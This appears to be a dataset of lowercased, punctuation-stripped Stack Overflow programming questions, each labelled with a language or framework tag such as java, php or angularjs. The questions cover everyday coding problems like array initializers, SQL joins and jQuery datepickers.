ng-repeat fails with infdig error  i understand the issue with 10 digest iterations is a topic of much discussion around here  but i could not really find a solution that works for me. forgive my ignorance  i am still a novice.    my scope variable looks like this:   <pre><code>    $scope.output = { 0 :{ error count :  :{ 0 : 0 in ms1   1 : 0 in ms2   2 : 0 in ms3   3 : 0 in ms4 }}}  </code></pre>   i am trying to iterate through using   <pre><code>    &lt;div ng-repeat= out in output &gt;         &lt;div ng-repeat= (key  val) in out &gt;             {{key}}                 &lt;div ng-repeat= valy in val &gt;                     {{valy}}                 &lt;/div&gt;           &lt;/div&gt;     &lt;/div&gt;       </code></pre>   which throws me an infdig error.,angularjs
how is system.in an inputstream object   may be this is basic question but i just want to clear my doubt.    system class is present in java.lang.object(java.lang.system) and has three fields in out and err. then how is system.in an inputstream object where inputstream is from java.lang.object java.io.inputstream.,java
c++:getting too many initializers for ‘char [4]’ array error  i m getting this error when i try to compile some source code i m working on. i m very new to programming and arrays have been giving me a hard time for some reason:   <pre><code>airline2.cpp:9:84: error: too many initializers for ‘char [4]’    char array_seats[][4] = {{ 1    2    3    4    5    6    7 } { a    b    c    d }}; </code></pre>   and this is my source code:   <pre><code>#include &lt;iostream&gt; using namespace std;  int main() {   char row  letter  answer;   int letter2;    char array_seats[][4] = {{ 1    2    3    4    5    6    7 } { a    b    c    d }};    for (int row = 0; row &lt;= 6; row++)     {       for (int letter = 0; letter &lt;= 4; letter++)     {       cout &lt;&lt; array_seats[row][letter] &lt;&lt;    ;     }       cout &lt;&lt; endl;     }    do     {       cout &lt;&lt;  enter your desired seat row:\n ;       cin &gt;&gt; row;       cout &lt;&lt;  enter a seat letter:\n ;       cin &gt;&gt; letter;        if(letter ==  a  || letter ==  a )     letter2 = 1;       else if(letter ==  b  || letter ==  b )     letter2 = 2;       else if(letter ==  c  || letter ==  c )     letter2 = 3;       else if(letter ==  d  || letter ==  d )     letter2 = 4;        if(array_seats[row-1][letter2] ==  x )     cout &lt;&lt;  sorry  this seat is taken.\n  &lt;&lt; endl;        else     {       array_seats[row-1][letter2] =  x ;       cout &lt;&lt;  seat reservation successful.\n  &lt;&lt; endl;     }        for (int row = 0; row &lt;= 6; row++)     {       for (int letter = 0; letter &lt;= 4; letter++)         {           cout &lt;&lt; array_seats[row][letter] &lt;&lt;    ;         }       cout &lt;&lt; endl;     }        cout &lt;&lt;  would you like to try again  (y/n)\n ;       cin &gt;&gt; answer;      }while (answer ==  y  || answer ==  y );    cout &lt;&lt;  have a good flight!\n ;    return 0;  } </code></pre>   i tried setting the error to 5 and adding  \0  at the end but nothing seems to work. any help,c++
php class not found but it s included  i m including a php class with   <pre><code>require_once($engine. /classuser.php ); </code></pre>   but when the code is executed i receive this error:   <blockquote>    fatal error: class  user  not found in   c:\xampp\htdocs\webname\resources\engine\ajax\signup.php on line 12  </blockquote>   i still can t figure out what s the problem. i m 99% sure it s correct.    the  $engine  is correct  and the class is correct too (netbeans suggests me class methods and variables).    signup.php:   <pre><code>&lt; php  /* created on: 13/12/2011  * author:   *   * description: user signup procedure.  */  require_once( ../settings.php ); require_once($engine. /classuser.php );  $user = new user(); $user-&gt;createuser($_post[ username ]  $_post[ email ]  $_post[ password ]);    &gt; </code></pre>   classuser.php:   <pre><code>&lt; php  /* created on: 13/12/2011  * author:   *   * description: this class manages users.  */  require_once( settings.php ); require_once($library. /cassandraphp/cassandra.php );  class user {      public function createuser($username  $email  $password){         $cassandra = cassandra::createinstance($cassandraserver);         $cassandra-&gt;set(                  user. .$username                  array(                      id  =&gt; uniqid()                       username  =&gt; $username                       email  =&gt; $email                       password  =&gt; $password                 )         );     }  }   &gt; </code></pre>,php
how to get the longest possible key in java to match a given string  i have written a code to check if a string has the key in a give map and replace the key with the value in the string. below is the code   <pre><code>            string s = vamshikrishnaa ;     map&lt;string string&gt; h = new hashmap&lt;string string&gt;();     h.put( vamshi    89 );     h.put( vamshikrishnaa   datadir );     h.put( vamshikrishna   datadira );      h.put( vamshik    krihsn );      string key=  ;      iterator&lt;string&gt; i =h.keyset().iterator();     while(i.hasnext()){         key=i.next();         if(s.contains(key)){             s=s.replace(key  h.get(key));         }     }     system.out.println(s); </code></pre>   when i run the above code  i got the output as datadiraa but i need output to be datadir.    i dont have control over the order of the key and values it is autogenerated.    need any help in this regard,java
not loading script files (javascript  scriptresource  css  and any other included script files) intermittenly  i got this very odd situation on my application which not all the time most of scripts i include in the <code>&lt;head&gt;</code> is not loaded  but some times they are.  if i will refresh the page (either f5 or refresh button)  sometimes it loads sometimes it s not.  but if i enter the url directly to the address bar  the page loads as expected.  this happens not only in one page but in most pages but intermittently.  my application is deployed on my local iis version 5.1 (i m using xp sp3).  mostly this situation happens if i rebuild my solution or i restart my iis to refresh my iis cache or to restart my application.  my guess is that my iis don t have enough memory to process all the request at a time that it forgot to load all of the included scripts.  can anyone shed some light on where i should look to solve this kind of problem   at first it only happen on my machine  but lately i ve noticed that it happens to our dev server also   i don t want it to go our test server or worse at the production server.   <h3>edit:</h3>   here s how i determine the scripts that are not loaded.   <ol> <li>i don t have any changes on any scripts  css what so ever that is directly seen on the client side.  i only change a bit of code behind logic that wont change a bit on what the client user can see on ui.  when i build it and test it on browser directly using the local iis  my display has been corrupted  some scripts will not function and some page methods errors shown.</li> <li>if i refresh the page  once or many times  the page will displace normally.  as soon as i notice this  i already know that this is a cache problem.</li> <li>i ve used firefox and seen the same thing  so i ve viewed the source.  at first i didn t notice anything suspicious and everything seems normal until i clicked each include on the pages  css and scripts.  some of it are not read instead it returned an html containing <code>the page cannot be displayed  there are too many people accessing the web site at this time.</code></li> </ol>,asp.net
convert unsigned char * to int * in objective-c  i am trying to convert a <code>unsigned char*</code> to <code>int *</code> on in objective-c on the iphone. is there any api that can help with the conversion     here s my best attempt:   <pre><code>-(bool)myfunc:version:(int *)nver {    unsigned char * uszversize;    //trying to assign string to int    nver =  uszversize[0] ; } </code></pre>,iphone
difference in where clause and join  im very new to sql and currently working with joins the first time in my life. what i am trying to figure out right now is trying to get the difference between to queries.    query 1:   <pre><code>select name from actor join casting on id = actorid  where (select count(ord) from casting join actor on actorid = actor.id and ord=1) &gt;= 30 group by name </code></pre>   query 2:   <pre><code>select name from actor join casting on id = actorid  and (select count(ord) from casting where actorid = actor.id and ord=1)&gt;=30) group by name </code></pre>   so i would think that doing    <pre><code>from casting join actor on actorid = actor.id  </code></pre>   in the subquery is the same as    <pre><code>from casting where actorid = actor.id. </code></pre>   but apparently it is not. could anyone help me out and explain why     edit: if anyone is wondering: the queries are based on question 13 from <a href= http://sqlzoo.net/wiki/more_join_operations  rel= nofollow noreferrer >http://sqlzoo.net/wiki/more_join_operations</a>,sql
variable not changing in if statement  i am a js beginner  so i am having some trouble with this one.     i have a variable called morale  and it updates based on some math. this is working just fine. what i am now trying to do is basically log the highest number morale has ever been  that way i can do some maths based off max morale. the max_morale is not changing at all  even though the morale is. i figured this code should work fine  but it is not. i do have <code>&lt;span id= max_morale &gt;0&lt;/span&gt;</code> in my html. please help!   <pre><code>var morale = 0; var max_morale = 0; var money = 0;  function increment(number){     money = money + number;     document.getelementbyid( money ).innerhtml = addcommas(money); };   function moralecalc(){     morale = math.floor(money * 0.0009)+ % ;     document.getelementbyid( morale ).innerhtml = morale;         if(morale &gt; max_morale){         max_morale = morale;         document.getelementbyid( max_morale ).innerhtml = max_morale;     };     };  window.setinterval(function(){     moralecalc(); }  1000); </code></pre>,javascript
convert string to other types dynamically in python  i have a list like this:   <pre><code>mylist = [( elem   str )  ( 123   int ) ( 1.0   float )] </code></pre>   for each tuple  the first element is the data  and the second element is the original type of that data  so i want to convert it to it.    as a result  i want:   <pre><code>mylist = [ elem  123 1.0] </code></pre>   how can i dynamically convert an object given the target data type     i want to avoid this:   <pre><code>for el in mylist:     if el[1]== str :         result=el[0]     elif el[1]== int :         result=int(el[0])     elif el[1]== float :         result=float(el[0]) </code></pre>,python
null data from server  which under a non null condition   i got from server a response :   <pre><code> [nsurlconnection      sendasynchronousrequest:request      queue:[[nsoperationqueue alloc] init]      completionhandler:^(nsurlresponse *response                           nsdata *data                           nserror *error)      {           if ([data length] &gt;0 &amp;&amp; error == nil)          {              nslog(@ data1: %@  data);              nsstring *content;              content = [nsstring stringwithutf8string:[data bytes]];              nslog(@ data2: %@  content); </code></pre>   something is strange here. the second <code>nslog</code> shows me a <code>null</code> data- but if the data is null how could he pass the <code>if statement</code>   the first log show me: <code>&lt;636f6e66 69726d65 64&gt;</code> .    i have to say that sometimes it do work ! it depend on the values somehow ...,objective-c
how to obtain parts of a string  in my program  the program asks the user to add  find and delete nodes in a <code>treemap</code>.   <blockquote>    add john do 123-456-789        find john do        delete john do        add michael jordan 232-323-232  </blockquote>   i have a question in regarding how to split the string.  i was wondering how i could use strings add  find  and delete for a switch statement  john do as a string key  and 123-456-789 as a string value. is there a way to use <code>split()</code>  and obtain the first word  the name  and the value     any ideas are appreciated.,java
i need to write a simple angularjs unit test for a controller that passes as defined  here is the controller and i just want to test that it is defined   <pre><code> use strict ;  mainapp.controller( headerctrl    function ($scope  sessionsrvc  eventsrvc  $state) {      // initially keep both singin and signout as hidden     // until it s determined if the session is alive or not.     var user = sessionsrvc.getcurrentuser();     if(user.fullname != undefined) {         $scope.signinvisible = false;         $scope.signoutvisible = true;     } else {         user.then(function(user) {             if(user != null) {                 $scope.user = user;                 $scope.signinvisible = false;                 $scope.signoutvisible = true;             } else {                 $scope.signinvisible = true;                 $scope.signoutvisible = false;             }         }  function(errorid) {            // alert(errorid);         });     }      /**      * this callback is called when the the user successfully logs in      * and the signin dialog closes.      */     $scope.$on(eventsrvc.getsigninsucceededevent()  function() {         $scope.user = sessionsrvc.getcurrentuser();         $scope.signinvisible = false;         $scope.signoutvisible = true;     });      /**      * show the signin dialog.      */     $scope.signin = function() {         $( #signin ).modal( show );     };      /**      * signout      *      * @param account      */     $scope.signout = function() {          var promise = sessionsrvc.signout();          promise.then(function(user) {             $scope.signinvisible = true;             $scope.signoutvisible = false;             window.location.replace( / );         }  function(reason) {            // alert( failed:   + reason);         });     };       /**      * detect if cookies enabled      */      checkcookie();      function checkcookie(){         var cookieenabled=(navigator.cookieenabled)   true : false         if (typeof navigator.cookieenabled== undefined  &amp;&amp; !cookieenabled){             document.cookie= testcookie ;             cookieenabled=(document.cookie.indexof( testcookie )!=-1)  true : false;         }          return (cookieenabled)   true:showcookiefail();     }      function showcookiefail(){        // alert( please enable cookies  the site will not work correctly without them );     }      /**     * set header back to portal header (from cookbook) if any tab is clicked     */      $( body ).on( click    .nav li a   function(){         $( .header ).removeclass( cookbook );     });       /**      * links to cookbook or other docs      *      * if user clicks back button or clicks any tab  changes header back to      * service portal (from cookbook).      */      $scope.gohome = function() {         $( .header ).removeclass( cookbook );         $state.go( home.explore );     };      window.onpopstate = function() {         $( .header ).removeclass( cookbook );     };  } </code></pre>   );    here is the karma test i set up that passes :) please bear with me as unit testing in angular is new to me. how can i properly define in my test   <pre><code> use strict  describe( headerctrl   function(){     var scope  sessionsrvc  eventsrvc  state;   beforeeach(module( mainapp ));     it( should have a headerctrl controller   function() {     expect(mainapp.headerctrl).tobe(undefined);   });   }); </code></pre>,angularjs
is their any way to make the service runnable when it killed   hi all i did research  more than a lot but no one give me the right answer . i am surprised because my question is so simple  but didn t found  a single solution.    i found a lots of question like mine but people making their answer round and round  i am really sick of this now this is my last and final try  i will appreciate if any of you resolve it  let me light up mu question again in brief:    i just want to make a simple service which hear the power button (really so simple)  now i did that easy thing   i mean i made a service with a broadcast receiver ok (quite simple)   and it run well   but!!! whenever i kill the app from background task   then the service stopped automatically   what i want here   that killing the task do not effect my service (how simple is this)    (note: 1. i already used start_sticky and service.start_sticky 2.also i did a bad thing that is is called service in ondestroy. but still got thumbs down. ) please give me  a fine solution  i will only appreciate after answer (because i am really so sick of this ) here is my code     mainactivity   <pre><code> @override     protected void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         setcontentview(r.layout.activity_main);         startservice(new intent(this  myservice.class));  } </code></pre>   myservice:   <pre><code>  public class myservice extends service {         private broadcastreceiver mreceiver = null;         public myservice() {         }          @override         public ibinder onbind(intent intent) {             // todo: return the communication channel to the service.             throw new unsupportedoperationexception( not yet implemented );         }          @override         public int onstartcommand(intent intent  int flags  int startid) {              return service.start_sticky;         }          @override         public void oncreate() {             intentfilter filter = new intentfilter(intent.action_screen_on);             filter.addaction(intent.action_screen_off);             mreceiver = new screenreceiver();              registerreceiver(mreceiver  filter);         }         @override         public void ondestroy() {                 super.ondestroy();         }     } </code></pre>   screenreceiver:   <pre><code>public class screenreceiver extends broadcastreceiver {     public static boolean wasscreenon = true;     @override     public void onreceive(final context context  final intent intent) {         if (intent.getaction().equals(intent.action_screen_off)) {             log.e( lightwriter    i work bro. );              wasscreenon = false;         } else if (intent.getaction().equals(intent.action_screen_on)) {                log.e( lightwriter    i work bro. );             wasscreenon = true;         }     }} </code></pre>,android
php mysql  cannot get right results  i m trying to join together two tables  but i cannot get the results i want to get.    so the results i m looking for is that  i want to be able to  echo  out all the topic where a user has been involved  by either creating the topic och making a post/comment inside the topic.    i ve tried something like:   <pre><code>select *  from topics  left join posts on topics.topic_creator =  aaaa                   or posts.post_creator =  aaaa  </code></pre>   but with this sql i don t really get the result  it s giving me multiple sample of same <code>topic_id</code> and sometimes it just prints out all topics/posts.    so the tables i m working with is:    table 1 - topics:    <a href= https://i.stack.imgur.com/v7pea.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/v7pea.png  alt= topics - table ></a>    table 2 - posts    <a href= https://i.stack.imgur.com/bnmxu.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/bnmxu.png  alt= posts - table ></a>    i would be grateful if someone more experienced would like to help me solve this php problem.     thanks in advance,mysql
python callback function returning none  i have a simple class that adds 2 nos. before adding 2 nos i pass a helper function that appends 2 zeros and passes the result.    when i try to print the add_nos.provide(append_zeros) it always shows none.   <pre><code>def append_zeros(x y):     x = int(str(x) +  00  )      y = int(str(y) +  00 )     print x+y     return x + y  class add_nos():     def __init__(self input_array):         self.input_array = input_array       def provide(self callback):         for each in self.input_array:             x y = each             callback(x y)  add_nos = add_nos([(1 2) (3 4)])             print add_nos.provide(append_zeros) </code></pre>,python
printing 1 - d array in multiple lines  i am trying to print a 1d array in multiple lines. i want to print the array 8 by 9 format.   <pre><code>int main(){     int rowcolm[63];     int i = 0;     for(i = 0; i&lt;sizeof(rowcolm); i++){      }     return 0; } </code></pre>,c
what does the << mean   thanks for taking a look at this question.    i saw the following piece of code inside a traditional for block  but was not sure what its significance was inside its context.    <code>index &lt;&lt;= 1;</code>    for further context  here is the full block of code.   <pre><code>ulong index = 1; int distance = 0; for (int i = 0; i &lt; 64; i++) {     if ((hash1 &amp; index) != (hash2 &amp; index))     {         distance++;     }      index &lt;&lt;= 1; } </code></pre>   is it simply making sure that index is still 1 and if it isn t  return it s value to 1     secondly  what is this called so i can read up on it some more.    finally  thank you for your time and consideration for this matter.,c#
build error in xcode 4.2 arc enabled project when i linked with custom page controller <pre><code>`d: duplicate symbol _objc_class_$_menudetail in /users/pinakinsoni/library/developer/xcode/deriveddata/shushiyoshi-alptwsfkyxzpufedcylyehqubxng/build/intermediates/shushiyoshi.build/debug-iphonesimulator/sushi yoshi.build/objects-normal/i386/menudetail.o` </code></pre>   and    <pre><code>/users/pinakinsoni/library/developer/xcode/deriveddata/shushiyoshi-alptwsfkyxzpufedcylyehqubxng/build/intermediates/shushiyoshi.build/debug-iphonesimulator/sushi yoshi.build/objects-normal/i386/menu.o for architecture i386     command /developer/platforms/iphonesimulator.platform/developer/usr/bin/clang failed with exit code 1 </code></pre>,iphone
css - why i see the dash-line when i click a link with firefox test(xxx)          <pre><code>#b1-wrap { cursor:pointer; height:107px; left:573px; // this seems that the dash-line is caused by the margin on the left. position:absolute; top:17px; width:310px; } </code></pre>   when the user clicks the text test  the user will trigger a.php. here is the problem  when i click the link without releasing my mouse in firefox  i can see a dash-line across the left.    please see the screenshot <a href= http://i56.tinypic.com/w8kpiw.png  rel= nofollow noreferrer >http://i56.tinypic.com/w8kpiw.png</a> i cannot figure out why  and how to fix it     anyone can help     this seems that the dash-line is caused by the margin on the left because if i increase the value of left  i can see the dash-line expanded. so is there a fix for this problem     thank you,css
how to pass parameter inside strigbuilder class object   i am using      string strurl =  reports/reportfilter.aspx ;    and bind a tag as   <pre><code>anchorleftmenulinks.append(  href= javascript:opendialogue(  + strurl +  );   ); </code></pre>   but it return error as  undefined object auditreports  as runtime it become like   <pre><code>href= javascript:opendialogue(reports/reportfilter.aspx);  </code></pre>   but when i add single quotes manually in firebug like   <pre><code>href= javascript:opendialogue( reports/reportfilter.aspx );  </code></pre>   it works fine. can anyone suggest me that how to add single quotes in code.yhankx in advance.,asp.net
objective-c   finding objects from array  i have an array that contains some objects; example:  <strong>nsarray*arr=[nsmutablearray arraywithobjects:@1 @5 @7 @6 nil];</strong>     how i could find  for example if the array contains the number 1 and 7 without creating a loop. is there such a function  for example returns a boolean value or something,objective-c
how to add an additional parameter to the id attribute in jquery   i have a loop where i get all input fields. all of these inputs have a id. what i want to achieve is that i only add an additional string to the existing id. i guess it is easy but i can not find anything.    i tried this  but it only replaces the existing id with the new id:   <pre><code>$( input ).attr( id    _  + votingid); </code></pre>,jquery
uinavigation controller did not work  i am making app like whenever the device change it s orientation mode it changes it s view.<br> at first when the view is portrait it shows perfect searchviewcontroller  then when i rotate to landscape it push to new view mapview in landscape ... now when i again change the view to portrait the map rotate to portrait... but it should be do to search view controller... and one more thing when i tapped detail disclosure button it should be go to back to search view controller... i think navigation controller not work in map view..    this is my code part of searchviewcontroller     <pre><code>- (bool)shouldautorotatetointerfaceorientation:(uiinterfaceorientation)interfaceorientation  {       //return (interfaceorientation == uiinterfaceorientationportrait);       if(interfaceorientation == uiinterfaceorientationportrait|| inte rfaceorientation == uiinterfaceorientationportraitupsidedown)       {       }       else {           mapview *mapview = [[mapview alloc] initwithnibname:@ mapview  bundle:nil];           mapview.title = @ map ;           [self.navigationcontroller pushviewcontroller:mapview animated:yes];            return yes;        }       return yes;  }   </code></pre>   and this is my mapview code     <pre><code>- (bool)shouldautorotatetointerfaceorientation:(uiinterfaceorientation)interfaceorientation   {       // return yes for supported orientations       //  return (interfaceorientation == uiinterfaceorientationlandscaperight|| uiinterfaceorientationlandscapeleft);       if(interfaceorientation == uiinterfaceorientationportrait|| interfaceorientation == uiinterfaceorientationportraitupsidedown)       {           nslog(@ hi potrait );           [self.navigationcontroller popviewcontrolleranimated:no];           return yes;       }       else {       }       return yes;   } </code></pre>,iphone
twowayview cannot find itemclicksupport  okey  so i have added the compile code in my gradle file  using the 0.1.2 version (compile  org.lucasr.twowayview:twowayview:0.1.2 ). i can import org.lucasr.twowayview.twowayview; and it works well. but now when i want to add itemclicksupport for this view it cannot find it  i.e. this is not working import org.lucasr.twowayview.itemclicksupport;.     normally i would think something was wrong with the importing of the library  but since i can use the twowayview (for scrolling pictures horizontally) successfully i dont see where the problem is.     i have also tried updating the lib to the latest version 0.1.4 but the same issue is still persistent.,android
daofactory automatic type casting. java  i have a daofactory which returning me a specific dao   <pre><code>public class daofactory {  public static final int dao1 = 1; public static final int dao2 = 2;  public static object getdao(int dao) {         switch (dao) {             case dao1:                 return new dao1();             case dao2:                 return new dao2();         }         return null;     } } </code></pre>   dao is child of    <pre><code>abstract class genericdao&lt;e  id extends serializable&gt; implements         genericdaointerface&lt;e  id&gt; </code></pre>   so it looks like:    <pre><code>public class dao1 extends genericdao&lt;dao1  integer&gt;{ .... } </code></pre>   and if i create new dao. i must do type casting.   <pre><code>dao1 dao = (dao1) daofactory.getdao(daofactory.dao1); </code></pre>   is it possible to make automatic type casting or it is better to make methods in daofactory to call specific dao   eg. <code>public static dao1 getdao1()</code>,java
why does $.get trigger errorback on successful request  i have a simple ajax request for fetching an xml document that is successful according to chrome dev tools (response is a 200 or 304 with the correct data)  but triggers the <code>fail</code> callback afterwards for some reason beyond me.   <pre> $.get( foo.xml )   .done(function (data) {     $xml = $($.parsexml(data));   }); </pre>   why would this be the case,jquery
using a structure definition in c  i defined structures in c like this:   <pre><code>struct cache_line{     char valid;     int tag;     int lru; };   struct cache_set{     struct cache_line *lines; };   struct cache{     struct cache_set *sets; }; </code></pre>   after these structures definitions  i define a function:   <pre><code>void do_something(struct cache_set *a_cache_set  int number){             *a_cache_set.lines[next].tag = tag;             *a_cache_set.lines[next].lru = *current_count;             *a_cache_set.lines[next].valid = 1; } </code></pre>   in the main  i define a cache_set and do:   <pre><code>struct cache_set a_cache_set = my_cache.sets[setid]; int a_number  = 10;  do_something(&amp;a_cache_set  a_number); </code></pre>   however  when compiling  i get the following error at the do_something definition (at    <pre><code>        *a_cache_set.lines[next].tag = tag;         *a_cache_set.lines[next].lru = *current_count;         *a_cache_set.lines[next].valid = 1; </code></pre>   ) :   <pre><code>error: request for member ‘lines’ in something not a structure or union </code></pre>   yet  i explicitly declared a_cache_set as a cache set which contains lines...    what is wrong here,c
javascript for getting the text from particular position in iphone or ipad  i am developing an epub ebook application. i did the pagination for 1xhtml file  depending on the length of the text numbers of pages will increase.now i need to get the text from starting of the uiwebview(x and y co-ordinates are 0.0f 0.0f) to a particular position(may be 200.0f 200.0f) how can i get it using java script or any other means.    please help me.    thank you in advance. shiva.,iphone
forwardinvocation to other class instead of instance  i have a <a href= http://en.wikipedia.org/wiki/facade_pattern  rel= nofollow >facade</a> singleton that i d like to forward some class method calls to some  static  class.    at first glance  <code>forwardinvocation:</code> appeared to be a possible solution  however  <code>nsinvocation</code> s <code>invokewithtarget:</code> and <code>settarget:</code> only accept an <code>id</code>  i. e. a pointer to an instance  not a class itself.   i tried handing over <code>[mytargetclass class]</code> as the target  but i still get a  no known class method [...]  error when i call <code>[facade someforwardedmethod]</code> somewhere. when i call <code>[[facade sharedinstance] someforwardedmethod]</code> i get a  no visible @interface [...] declares the selector [...]  error.    of course i am aware that i also need to override <code>respondstoselector:</code> and <code>methodsignatureforselector:</code>  so my code looks like this:   <pre><code>- (bool)respondstoselector:(sel)aselector {     if ([super respondstoselector:aselector]) {         return yes;     } else {         return [mytargetclass respondstoselector:aselector];     } }  - (nsmethodsignature *)methodsignatureforselector:(sel)selector {     nsmethodsignature* signature = [super methodsignatureforselector:selector];     if (!signature) {         signature = [mytargetclass methodsignatureforselector:selector];     }     return signature; }  - (void)forwardinvocation:(nsinvocation *)aninvocation {      sel aselector = [aninvocation selector];      if ([mytargetclass respondstoselector: aselector]) {         [aninvocation invokewithtarget:[mytargetclass class]];     } else {         [super forwardinvocation:aninvocation];     } } </code></pre>   is there a way to make this work  or do i have to choose another approach    <hr>   edit: i have tried both ways that rob napier mentions in his answer  here are my findings:    i can call a class method in my target class through the facade instance with   <pre><code>[(id)[facade sharedinstance] dosomethingclassyintargetclass]; </code></pre>   it s a bit uglier than i hoped for  but it works. however  i can not call a class method in my target class when i address the facade class. to quieten the compiler i can write   <pre><code>[(class)[facade class] dosomethingclassyintargetclass]; </code></pre>   but then it throws an  nsinvalidargumentexception   [facade dosomethingclassyintargetclass]: unrecognized selector sent to class [...]  at runtime. apparently the class methods of the facade class get resolved without respect for <code>forwardinvocation:</code>  but after all it has a <code>-</code> in front...,objective-c
this asp.net code is not fetching any data why  <pre><code> datatable table = new datatable();     dataset ds = sqlhelper.executedataset(utility.getpumaconstring()     commandtype.text  @ select name isblocked from    ht_cust where type=14 and dealerid&lt;&gt;19 );   return ds.tables[0];       </code></pre>,asp.net
get file property  how to get file size of pdf gif doc etc using xcode. suppose to i get pdf file form resorce folder so how can i get size of for this file.    is there any way     thanks you,iphone
how to create array with 100 numbers without using loop in php   how to create array with 100 numbers without using loop in php  i want to create array  something like that:   <pre><code>array ([0]=&gt; 1%   [1]=&gt; 2%  ...) </code></pre>   i m using now:   <pre><code>array_combine(range(0 100) range(0 100)); </code></pre>  <ol start= 2 > <li>question: how to make range with step 0.5  </li> </ol>,php
rails - best database design for existing model  so i have inherited some rails 4 code and database models which i need to add to.    the model  called <code>mpb_item</code> has a table called <code>mpb_items</code>.      inside this items table there are columns such as:   <pre><code>role1_start_date  role2_start_date  role3_start_date  role4_start_date </code></pre>   not ideal but this is what it is.  they should have been in a separate roles table i guess.    i need to add functionality to suspend any one of these roles (or all of them).    i guess i can either:   <ol> <li> to the existing table  i can add a new boolean column for each existing role column. e.g. <code>role1_suspended</code>  <code>role2_suspended</code> etc </li> <li> create table called <code>mpb_suspensions</code>  with 2 columns: <code>mpb_item_id</code> and <code>role_name</code>.  since the roles don t have ids themselves  the role_name column will store  role1   or  role2  etc depending on which role was suspended. </li> </ol>   in my <code>view</code>  i need to have the ability to  suspend  each job  or all of them.  i m not sure how the model code would look to do this and which approach would be best.,ruby-on-rails
undefined method `[]  for nil:nilclass - when trying to run rake db:test:load for the first time  i am trying to create some functional tests around my controllers but when i attempt to create the test db i get the error described in my thread. this is the first time i have attempted to populate a test db. i am using the default sqlite adapter. i have populated my fixtures with some test values. can someone tell me what this error means     thanks!,ruby-on-rails
how do i assign a string from an array to a variable in c (from a function)   so  all i am trying to do is return a string from an array in a function to a variable in the main() function. below is my function. it basically searches some files for a word  and returns the string name of the file that contains  start_room :   <pre><code>char startprompt() {     //array of files     char* arrayfiles[7]={ room1.txt    room2.txt    room3.txt    room4.txt    room5.txt    room6.txt    room7.txt };     //used to store file that has start_file in it     char startfile;     int i;             for(i=0;i&lt;7;i++)             {                     //pointer to files                     file *fpointer;                     //prints files to output                     char loadscreenoutput[800];                     char* response[256];                       fpointer=fopen(arrayfiles[i]   r );                     //checks if the file doesn t exist                     if(fpointer== null)                     {                             printf( unable to open the file!\n );                     }                     //if file exists  do this.                     else                     {                             while(!feof(fpointer))                             {                                      fgets(loadscreenoutput  800  fpointer);                                     if(strstr(loadscreenoutput   start_room ))                                     {                                             return *arrayfiles[i];                                     }                             }                              fclose(fpointer);                     }             } </code></pre>   the main function is here:   <pre><code>int main() {     char filename;     //start the game with the start file     filename=startprompt();     printf( %s   filename)        return 0; } </code></pre>   yet  the above leads to a segmentation fault.     if i change the printf to printf( %c   filename)  i will get the first letter of the file  which will be  r .     so  how can i simply get it to return  room1.txt  and store it in filename  i am willing to change the variable type of filename  as i can guess that may be the issue. or change the return type of the function  as i am guessing that is the issue.    overwise  i know this code works because if i printf() inside the function  it will print  room7.txt .,c
complicated sql query  does anyone have an idea about how to structure the following query:    tables :   <pre><code>tbl_game                 id       name tbl_category             id       name lu_game_to_category      gameid   catid lu_game_to_event         eventid  gameid </code></pre>   so  basically <code>categories</code> have many games.    <code>events</code> have many games.    i want to generate a report that shows the <code>categories</code> listed by how many of its <code>games</code> were used in <code>events</code>. ordered by the amount descending.    is this possible,sql
rails 4 & controller redirect path  i am trying to make an app with rails 4  using simple form for forms.    i have a model called project and another model called project question.     the associations are: project has many project questions and accepts nested attributes for project questions. project questions belong to project.    in my project question form i have:   <pre><code> &lt;%= simple_form_for [@project  @project_question] do |f| %&gt;           &lt;%= f.input :title  label:  question:    :label_html =&gt; {:class =&gt;  question-title }  placeholder:  type your question here   :input_html =&gt; {:style =&gt;  width: 100%   :rows =&gt; 4  class:  response-project } %&gt;           &lt;%= f.input :content  label:  is there any context or other information    :label_html =&gt; {:class =&gt;  question-title }  placeholder:  context might help to answer your question   :input_html =&gt; {:style =&gt;  width: 100%   :rows =&gt; 5  class:  response-project } %&gt;   &lt;br&gt;&lt;br&gt;&lt;br&gt;       &lt;%= f.button :submit   send!   :class =&gt;  cpb  %&gt; </code></pre>     in my project_question controller  i have:   <pre><code>def create     @project_question = projectquestion.new(project_question_params)     @project_question.project_id = project_question_params[:project_id]       respond_to do |format|       if @project_question.save         format.html { redirect_to project_path(@project_question.project_id)  notice:  project question was successfully created.  }         format.json { render action:  show   status: :created  location: @project_question }       else         format.html { render action:  new  }         format.json { render json: @project_question.errors  status: :unprocessable_entity }       end     end   end </code></pre>   in my project controller  i have whitelisted the project question params as follows:   <pre><code>project_question_attributes: [:title  :content  :user_id  :project_id  :id        project_answer_attributes: [:answer  :project_question_id]]  </code></pre>   the params are also permitted in my project question controller:   <pre><code> def project_question_params       params[:project_question].permit(:id  :title  :content  :project_id  :user_id        project_answer_atttibutes: [:id  :answer  :project_question_id  :user_id]       )     end </code></pre>   i am having trouble figuring out how to redirect to the project page on save after a project question has been created.,ruby-on-rails
optimise this script  can anyone suggest a way to shave any time off this script     <pre><code>var countobject = new object(); var length = data.length; for(var i = 0; i &lt; length; i += 4) {   var key = data[i] +     + data[i+1] +     + data[i+2];   if(typeof(countobject[key]) ==  number ) {     countobject[key]++   } else {     countobject[key] = 0   }   } </code></pre>   it is to build up a count of occurrences of rgb values found in data retrieved from a canvas. presumably the data from context.getimagedata() is already an optimised array type...     edit: i do not require the rgb value in the format  255 255 255  necessarily  it s just all i could come up with for use as the array key. a different approach is also welcome :-d,javascript
datepicker not working using jquery  in the below code when i am clicking date field it not showing anything. can any one help me from this issue     <strong>html</strong>   <pre><code>&lt;!doctype html&gt; &lt;head&gt;    &lt;link rel= stylesheet  href= themes/base/all.css &gt; &lt;script src= external/jquery/jquery.js &gt;&lt;/script&gt; &lt;script src= ui/core.js &gt;&lt;/script&gt; &lt;script src= ui/widget.js &gt;&lt;/script&gt; &lt;script src= ui/datepicker.js &gt;&lt;/script&gt; &lt;link rel= stylesheet  href= css/demos.css &gt;       &lt;script&gt;       $(function() {         $(  #datepicker  ).datepicker();       });       &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;p&gt;date:&lt;input type= text  id= datepicker &gt;&lt;/p&gt; &lt;/body&gt; </code></pre>,jquery
